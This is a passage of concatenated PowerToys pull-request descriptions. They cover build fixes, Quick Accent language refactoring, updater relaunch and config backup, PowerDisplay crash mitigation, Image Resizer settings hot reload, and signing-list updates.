[FriendlyName=…] [DevicePath=…]` log line right before its caps request.
4. **Empty-list case:** `BuiltInMonitorBlacklist.json` with no entries →
`IsBlocked` returns `false` for any input (verified via unit test).
5. **Non-empty case (manual):** temporarily added a connected monitor's
EdidId to the built-in JSON → that monitor disappears from
`MonitorManager.Monitors` and `[MonitorBlacklist] Skipping ...` log line
appears; removed the entry → monitor reappears, all per-monitor settings
intact.
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
## Summary
Fixes the **"Build PowerToys main project"** failure on every PR/CI
build off current `main` (e.g. Dart build
[`147597426`](https://microsoft.visualstudio.com/Dart/_build/results?buildId=147597426)):
```
WINAPPSDKGENERATEPROJECTPRIFILE: Error PRI175: Processing Resources failed with error: Duplicate Entry.
WINAPPSDKGENERATEPROJECTPRIFILE: Error PRI277: Conflicting values for resource
'Resources/QuickAccent_SelectedLanguage_Greek_Polytonic'
```
## Root cause
`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw` contained two
`<data name="QuickAccent_SelectedLanguage_Greek_Polytonic">` entries:
- Line 3597 — original, added by #47021 (*"[PowerAccent] adding greek
polytonic"*), placed in the alphabetized QuickAccent block.
- Line 6175 — duplicate, appended at the file tail by #47211 (*"[Quick
Accent] Move language data to PowerAccent.Common library, refactor"*).
The two entries are byte-identical (same value `Greek Polytonic`, same
`xml:space="preserve"`). The WinAppSDK PRI generator (`MakePri`) rejects
duplicates, so every build off current `main` fails before reaching the
compile step.
## Fix
Remove the tail duplicate (3-line block right before `</root>`). Keeps
the original entry in its alphabetized location.
## Validation
- `git diff` shows exactly 3 deleted lines.
- `[xml](Get-Content … -Raw)` round-trip succeeds — file is still
well-formed XML.
- `Select-String` count of
`QuickAccent_SelectedLanguage_Greek_Polytonic` in the file is now **1**
(was 2).
- Only `en-us` has this key (other localized `.resw` files are populated
later via Touchdown), so no other file needs touching.
## Note
Discovered while investigating a CI failure unrelated to my other PR
#48050 (signing of `WinUI3Apps\YamlDotNet.dll`). Both fixes are needed
for the 0.100 release pipeline; this PR unblocks PR builds off `main`,
and #48050 unblocks the signed release pipeline once both are merged to
`main` and the next `main → stable` sync happens.
Co-authored-by: Copilot <Copilot@users.noreply.github.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Language data for Quick Accent was previously defined in
**PowerAccent.Core/Languages.cs**, internal to the Quick Accent
application itself. The Settings application had no access to the list
and had to maintain a parallel, manually-synchronised list of the
language names and groups, and there was no single place to look up the
complete set of languages.
This PR resolves this and extracts the language data into a new
**PowerAccent.Common** project with no external or UI dependencies,
making it the single source of truth for both the character popup and
Settings UI.
The implicit and non-obvious ordering of the old **Languages.cs** has
been replaced with explicit ordering of the language groups and
languages list.
A new unit test project for the application has also been added.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47159
- [x] Closes: #30000
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
The following changes and additions have been made:
New project **PowerAccent.Common** contains:
- **Language.cs** - an enum of Quick Accent's pseudo-ISO identifiers for
each of the supported languages
- **LetterKey.cs** - mirrors the LetterKey enum defined in the
KeyboardListener.idl, and must be kept in sync with that. This exposes
the VK_* data to the Settings UI without it having to reference the
PowerAccentKeyboardService project
- **LanguageGroup.cs** - classifies languages as `Language` (for spoken
languages), `Special` (for sets like Currency and International Phonetic
Alphabet), or `UserDefined` (reserved for future work)
- **LanguageInfo.cs** - a record which combines a language's identity,
group, resource identifier, and character mappings
- **CharacterMappings.cs** - a new version of the old **Languages.cs**,
providing:
- `All` - the canonical registry of every `LanguageInfo` entry
- `DisplayOrder` - the explicit within-group ordering for languages, for
the default popup ordering, i.e. when the user has not got
frequency-based ordering enabled. This is a culturally-neutral
alphabetical ordering by our pseudo-ISO language IDs, and close to the
previous order, minimising any impact to users' muscle memory
- `GroupDisplayOrder` - the explicit ordering of language groups for
both the popup and the Settings UI
- `LanguageLookup` - new _O(1)_ `Language` to `LanguageInfo` dictionary
- `GetCharacters(LetterKey, Language[])` - a deduplicating character
collector and sorter
A significant improvement over the old **Languages.cs** is that language
ordering is now explicit and in one place. Previously, popup ordering
was an implicit side-effect of a large Union chain across all language
mappings, with the enum, the language mapping declarations and the union
all carrying different orderings. This was a source of confusion and
made adding new languages fragile.
The original **Languages.cs** has been deleted. There's now a thin
`CharacterMappings` adapter that casts the `LetterKey` to the managed
equivalent by numeric value. This is another effort to decouple the
Settings UI and Quick Accent and only share the required elements.
In Settings, the `PowerAccentViewModel` class has been updated. It now
derives the language list directly from `CharacterMappings.All`; the
`InitializeLanguages()` call handles localisation, sorting and grouping
in a single place using `GroupDisplayOrder`.
A new unit test project covers `CharacterMappings`, the `LetterKey`
IDL-to-managed code bridge and general language declaration checks. The
application is now much more robust against changes which alter the
declared order, introduce empty/null elements, and so on. It is now
impossible to add a new language and forget a constituent part (the enum
entry, its place in the display order, the character mappings
themselves) without a test failing.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
See new unit test project for comprehensive tests.
Manually confirmed:
- Triggering Quick Accent with no language selected does not report an
error
- Language order is consistent in the popup, no matter what order the
languages are selected in Settings
- The order of languages in Settings is consistent, alphabetically by
localised name
- All declared languages are present in Settings and no resource IDs
were missed
---------
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary
Addresses three critical issues with the PowerToys update experience
that cause user fragmentation across old versions.
### Changes
**1. Fix relaunch after update (Fixes#42004, #43011, #44071)**
- Stage 1 now passes the PowerToys install directory to Stage 2 as an
argument
- After successful install, Stage 2 relaunches `PowerToys.exe` with
`-report_update_success`
- Users will see a 'successfully updated' toast and PT resumes
automatically
**2. Config backup/restore (Fixes#46179)**
- `BackupConfigFiles()` snapshots all JSON configs to `ConfigBackup/`
before update begins
- `RestoreCorruptedConfigs()` checks for null-byte corruption after
install and auto-restores
- Protects Workspaces, FancyZones, Keyboard Manager, and all other
module settings
**3. Enable auto-download by default**
- New installations default `AutoDownloadUpdates` to `true` (was
`false`)
- Existing users' preferences are preserved — this only affects
first-run defaults
- The runner already defaulted to `true`; this aligns the C# settings
model
### Why this matters
The current updater kills all PowerToys processes, runs the installer,
then **exits without relaunching**. Users lose keyboard remappings,
FancyZones layouts, and Awake settings with no indication why. Combined
with auto-download being off by default, most users are multiple
versions behind.
### Testing
- Verified update flow: Stage 1 → Stage 2 → PT relaunches with success
toast
- Config backup creates mirror of all JSON settings before update
- Corruption detection catches null-byte pattern from #46179
- Graceful fallback: if install dir not provided (old Stage 1), logs
warning but doesn't crash
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: Muyuan Li (from Dev Box) <muyuanli@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
## Summary of the Pull Request
Shortcut Guide was rendering raw numeric key codes in key visuals for
some shortcuts (notably generated PowerToys shortcuts), showing numbers
where key characters/names were expected. This change normalizes numeric
key handling so display output matches actual key labels.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
- **Scope**
- Updated `ShortcutDescriptionToKeysConverter` in `ShortcutGuide.Ui`
only.
- **Behavior change**
- Numeric key codes are no longer passed through as raw integers by
default.
- Arrow keys (`37/38/39/40`) remain numeric to preserve existing glyph
rendering behavior.
- All other numeric key codes are converted to display names via
`Helper.GetKeyName(...)`.
- **Result**
- Shortcut Guide key caps now show expected characters/key names instead
of numeric values for manifest-provided numeric keys.
```csharp
if (int.TryParse(key, out int keyCode))
{
switch (keyCode)
{
case 38:
case 40:
case 37:
case 39:
shortcutList.Add(keyCode); // keep glyph path
break;
default:
shortcutList.Add(Helper.GetKeyName((uint)keyCode)); // show key label
break;
}
}
```
## Validation Steps Performed
No additional validation details are included in this description.
> [!WARNING]
>
> <details>
> <summary>Firewall rules blocked me from connecting to one or more
addresses (expand for details)</summary>
>
> #### I tried to connect to the following addresses, but was blocked by
firewall rules:
>
> - `o3svsblobprodcus318.vsblob.vsassets.io`
> - Triggering command: `/usr/bin/dotnet dotnet build
/home/REDACTED/work/PowerToys/PowerToys/src/modules/ShortcutGuide/ShortcutGuide.Ui/ShortcutGuide.Ui.csproj
-v minimal` (dns block)
>
> If you need me to access, download, or install something from one of
these locations, you can either:
>
> - Configure [Actions setup
steps](https://gh.io/copilot/actions-setup-steps) to set up my
environment, which run before the firewall is enabled
> - Add the appropriate URLs or hosts to the custom allowlist in this
repository's [Copilot coding agent
settings](https://github.com/microsoft/PowerToys/settings/copilot/coding_agent)
(admins only)
>
> </details>
---------
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
Co-authored-by: Noraa Junker <noraa.junker@outlook.com>
This PR:
- Adds a MaxWidth to the SCOOBE and OOBE pages, inline with Fluent
design guidance
- Updates the imagery for PowerToys
- Tweaks some small nits in the General settings page: re-ordering,
adding icons, replacing a ToggleSwitch with a CheckBox
<img width="1774" height="1325" alt="image"
src="https://github.com/user-attachments/assets/d825047a-27be-4e8b-a6ce-7f1a71f39dfe"
/>
The PowerDisplay flyout had no keyboard close path: pressing Tab kept
focus inside the window so it never deactivated, and there was no
KeyDown / KeyboardAccelerator wired up. Handle Escape on RootGrid to
hide the window, matching the behavior of other PowerToys flyouts.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #48016
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
## Summary
Corrects four label names in the \VALID_LABELS\ allow-list of the
\uto-label-issues.yml\ workflow to match existing repository labels
exactly.
## Root Cause
The GitHub Actions \ddLabels\ API creates a brand-new label when the
name doesn't exactly match an existing one. The hardcoded list had
typos/mismatches:
| Workflow had | Repo actually has |
|---|---|
| \Product-Power Display\ | \Product-PowerDisplay\ |
| \Product-ColorPicker\ | \Product-Color Picker\ |
| \Product-Command Not Found\ | \Product-CommandNotFound\ |
| \Product-Hosts\ | \Product-Hosts File Editor\ |
## Changes
- Fixed all 4 label strings in \VALID_LABELS\ array
- Deleted the spurious \Product-Power Display\ label that was created by
the mismatch
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Carry per-monitor user preferences from the pre-#47712 Id format onto
the current DevicePath-based Ids by matching on EdidId. Without this,
every upgrade silently resets Enable* toggles (input source, color
temperature, power state) for monitors users had already opted in on,
because the direct-Id lookup in ApplyPreservedUserSettings can never
match the old "DDC_DELD1A8_1" / "WMI_BOE0900_2" keys.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Currently, if the user clicks on a dock item which is a Page command,
then we'll attempt to show the cmdpal where the user clicked on a dock
item. This works great. However, if the user right-clicks a dock item to
invoke the context menu, then from that menu clicks on a Page command,
then nothing happens - we don't show the cmdpal window.
Similarly - IInvokableCommand's that return a CommandResult.Confirm - we
never show the cmdpal window so that the confirmation ContentDialog is
shown to the user.
Yes in the long run, these will make more sense to have a better UI for
the "dock flyout" (see #45861). But until then, this fixes these
scenarios.
Closes#45963
very relevant for #47989
## Summary of the Pull Request
This PR introduces real-time settings synchronisation for Image Resizer.
External changes to `settings.json` (via the Settings application or
manual edits to the file) are detected and reloaded immediately without
requiring a restart.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #36943
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
### Reload updates
The reload detection is via an `IFileSystemWatcher` (as file system
operations are abstracted in Image Resizer), which monitors the
`settings.json` file for creation and changes. There is a half second
debounce for changes, as the settings file can rapidly change when the
user is editing the preset name field.
Hot reloading of the properties required refactoring `ReloadCore`, which
replaces the `Sizes` preset collection and updates the Custom and AI
presets, in addition to the application-wide properties like compression
options and the fallback encoder choice.
I changed the combo box data binding from the `SelectedSize` object to
the int `SelectedSizeIndex`. This was required to resolve a specific WPF
issue where reloading the `Sizes` collection would cause issues with
restoring the current combo box selection to the prior value. Binding to
the index decouples the selection state from the object lifecycle during
the reload process.
Selection preservation is based on the preset ID (for user presets) and
preset type (for Custom and AI presets). This ensures that matches are
robust even if the user is in the process of renaming an entry in the
Settings application. If the preset cannot be matched (for example, if
the user deletes the item or changes the ID manually in the file), the
Custom preset is selected.
Selection range checks are maintained from the old code, and additional
checks have been added to ensure that Custom and AI presets will be
present even if they're deleted from the settings file.
The AI preset check from before has been inlined; this guarantees that
the AI resize option will not display if the facility is unavailable on
the current PC, even if it's present in the settings file.
The reload routine is dispatched to the UI thread, as changes involve
updates to the combo box.
### ID recovery
Preset IDs are key to preserving the combo box selection between
reloads, and a couple of changes were necessary to ensure round-tripping
changes were robust.
1. IDs are not reused. The old code could reuse IDs under certain
circumstances, for example if a preset was deleted and re-added via
Settings.
2. The ID Recovery Helper routine sorted the supplied presets by ID
before performing duplicate conflict resolution. This is not required
and it is more natural to assume that the order in the settings file and
the client UI is the source of truth.
New ID assignment is now based on a monotonically increasing ID (seeded
at application start) rather than `Current Maximum ID + 1`. This means
that IDs cannot be reused in the same Settings application session. This
makes the matching process in the client application more reliable.
A small update was made to the ID Recovery Helper to use `HashSet.Add()`
instead of splitting up the check and addition steps (`Add` will return
false if the value already exists), which saves a massive one line of
code.
There were comments about the ID Recovery Helper resolving "empty" or
"invalid" entries; this was inaccurate, as IDs are ints, which must by
definition always have a valid value. The routine only guards against
duplicates, so the comments have been updated to reflect this.
### Miscellaneous
The `Default` Settings property getter previously called `Reload` every
time it was accessed. This is fine when the file is only read at
application startup, but I changed this to lazily instantiate and call
`Reload` a single time.
I refactored duplicate code related to settings file/folder strings, and
also the creation of the Custom and AI size instances.
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Manual testing:
1. Add new preset in the Settings application. The new entry is
reflected in the client application as it is running.
2. Delete new preset. The entry is removed in the client application
list.
3. Edit an existing preset. The property change is reflected in the
client application.
4. Add new preset in the Settings application. Select the new preset in
the client application. Edit the properties of the new preset in the
Settings application and confirm that the updates appear in the client
application.
5. Add new preset in the Settings application. Select the new preset in
the client application. Delete the new preset in Settings. Confirm that
the current preset is removed and the selection changes to the default
in the client application.
6. Change one or more application-wide properties in the settings file
which are represented in the client application, too, e.g. "Make
pictures smaller but not larger" (`imageresizer_shrinkOnly`) or
"Overwrite files" (`imageresizer_replace`). Upon saving, confirm the
checkbox changes immediately in the client application.
7. Edit the `settings.json` file manually by e.g. adding a new Size
preset or editing the width or height property of an existing preset.
Upon saving, the change(s) should be reflected in the client
application.
8. Make a change to an existing or new preset which affects the resize
operation itself, e.g. the dimensions or the "Make pictures smaller but
not larger" setting. Proceed with the resize operation and confirm that
the new changes have been applied.
14 new unit tests have been added to `SetingsTests.cs` to exercise the
`Settings` and `IDRecoveryHelper` functionality.
---------
Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
## Summary
Adds the four Google.* DLLs shipped by AdvancedPaste (via
`Microsoft.SemanticKernel.Connectors.Google` for Gemini support) to the
ESRP sign list.
## Problem
The `Verify all binaries are signed and versioned` pipeline step
(`.pipelines/versionAndSignCheck.ps1`) was failing with:
```
Not Signed: + ...\extractedMachineMsi\File\WinUI3ApplicationsFiles_File_Google.Apis.Auth.dll
Not Signed: + ...\extractedMachineMsi\File\WinUI3ApplicationsFiles_File_Google.Apis.Core.dll
Not Signed: + ...\extractedMachineMsi\File\WinUI3ApplicationsFiles_File_Google.Apis.dll
Not Signed: + ...\extractedMachineMsi\File\WinUI3ApplicationsFiles_File_Google.GenAI.dll
```
These DLLs are transitive NuGet dependencies of
`Microsoft.SemanticKernel.Connectors.Google` (referenced by
`src/modules/AdvancedPaste/AdvancedPaste/AdvancedPaste.csproj`) and
deploy to `WinUI3Apps\`, but were never added to
`.pipelines/ESRPSigning_core.json`.
## Fix
Added the four DLLs to the second `SignBatch` (`CP-231522`, the
third-party / OSS-library identity) — same batch used for other
connector DLLs like `OpenAI.dll`, `OllamaSharp.dll` and
`Microsoft.SemanticKernel.Connectors.Ollama.dll`.
## Validation
- `ConvertFrom-Json` on the modified file confirms valid JSON.
- Sign-list entries match the actual deploy paths flagged by
`versionAndSignCheck.ps1`.
- The next ESRP signing run will pick them up; the verify step should
pass.
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary
Mitigation for issue #47556 — `KERNEL_SECURITY_CHECK_FAILURE` BSOD
originating in `win32kfull!DdcciGetCapabilitiesStringFromMonitor` when
PowerDisplay calls DDC/CI capability APIs against monitors with
malformed capability strings.
After a detected crash, PowerDisplay auto-disables itself via
`settings.json`, shows an error InfoBar at the top of the PowerDisplay
settings page (page is locked except the Ignore button), so users can
avoid getting stuck in an infinite reboot loop after a crash. And the
user must explicitly dismiss the warning before re-enabling the module.
The actual kernel-side fix is the Windows team's responsibility — this
PR only prevents users from BSOD-ing repeatedly on the same monitor
without warning.
settings page:
<img width="1743" height="1475" alt="image"
src="https://github.com/user-attachments/assets/8cf1b72f-c51a-4955-82d7-213cae49fd4e"
/>
## Mechanism
1. `CrashDetectionScope` IDisposable wraps Phase 2 capability fetch in
`DdcCiController.DiscoverMonitorsAsync`, writing `discovery.lock`
(`WriteThrough` + `Flush(flushToDisk: true)`) before, deleting it on
Dispose.
2. If the process is killed externally (BSOD, FailFast), the lock
survives.
3. On next PowerDisplay.exe startup (Phase 0), `CrashRecovery` detects
the orphan lock and runs a strict fail-fast sequence: write
`crash_detected.flag` → set `enabled.PowerDisplay=false` in global
`settings.json` → signal the new `POWER_DISPLAY_AUTO_DISABLE_EVENT` →
delete the lock (commit point).
4. The runner-loaded `PowerDisplayModuleInterface.dll` runs a one-shot
listener thread that wakes on the event and calls `disable()` to sync
`m_enabled`.
5. `PowerDisplayViewModel` reads the flag at construction and binds
`IsCrashLockActive` to lock the page.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #47556
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This allows users to drag files & URLS to the dock, to immediately
create a bookmark, and pin that bookmark to the dock.
It also updates the bookmark provider's dock bands. If you bookmark a
folder, then pin that to the dock, when you click it on the dock, we'll
default to the "browse" experience, which will open the list of files in
cmdpal, rather than open in explorer.
Had to make miscellaneous changes to make this all a bit faster:
* DirectoryPage didn't load icons smartly, like we do for bookmarks
* I added a different "observable" collection for dock top-level items,
because it caused a flippin CollectionChanged cascade any time a single
provider had more than one item pinned in the dock. Each item from each
provider would cause us to recreate all the dock view models (???) crazy
* I alas had to make `IBookmarksManager` public, so that the UI could
use it. I hate it, but I couldn't figure out a better way. Bookmarks are
a pretty built-in part, so it's _fine i guess_
re: #45584
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR checks if future PRs has added or refines telemetry events, if
so, the bot will add a message to the PR about the needed steps
depending on the PR.
**NOTE**: This PR is submitting a test version, which is only manually
triggered, once tested and confirmed then will move to it being
automatic
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR fixes several issues around the popup selection window's size
and position, selection-related issues which result in flashing or
glitching, and includes more reliable detection of the Shift key.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #44332
- [x] Closes: #44980
- [x] Closes: #35094
- [x] Closes: #40498
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
This PR includes fixes for the Quick Accent's selection window position,
its width measurement, and letter selection-related issues. In addition,
glitches such as the window flashing the selection colour and the window
appearing blank should be reduced or eliminated entirely.
### Popup width bug
When opening Quick Accent from a letter with many mappings, it would
appear too wide for the display. Even though letters could be selected,
they may be entirely off-screen:
<img width="1578" height="134" alt="image"
src="https://github.com/user-attachments/assets/cfcb2ddb-3cf3-47d5-9386-133a2fc70550"
/>
This was because of this flaw in `GetDisplayMaxWidth`, which is used
directly by the popup to set the maximum width of the characters area:
```csharp
// In Selector.xaml.cs
private void SetWindowsSize()
{
this.characters.MaxWidth = _powerAccent.GetDisplayMaxWidth();
}
...
// In PowerAccent.cs
public double GetDisplayMaxWidth()
{
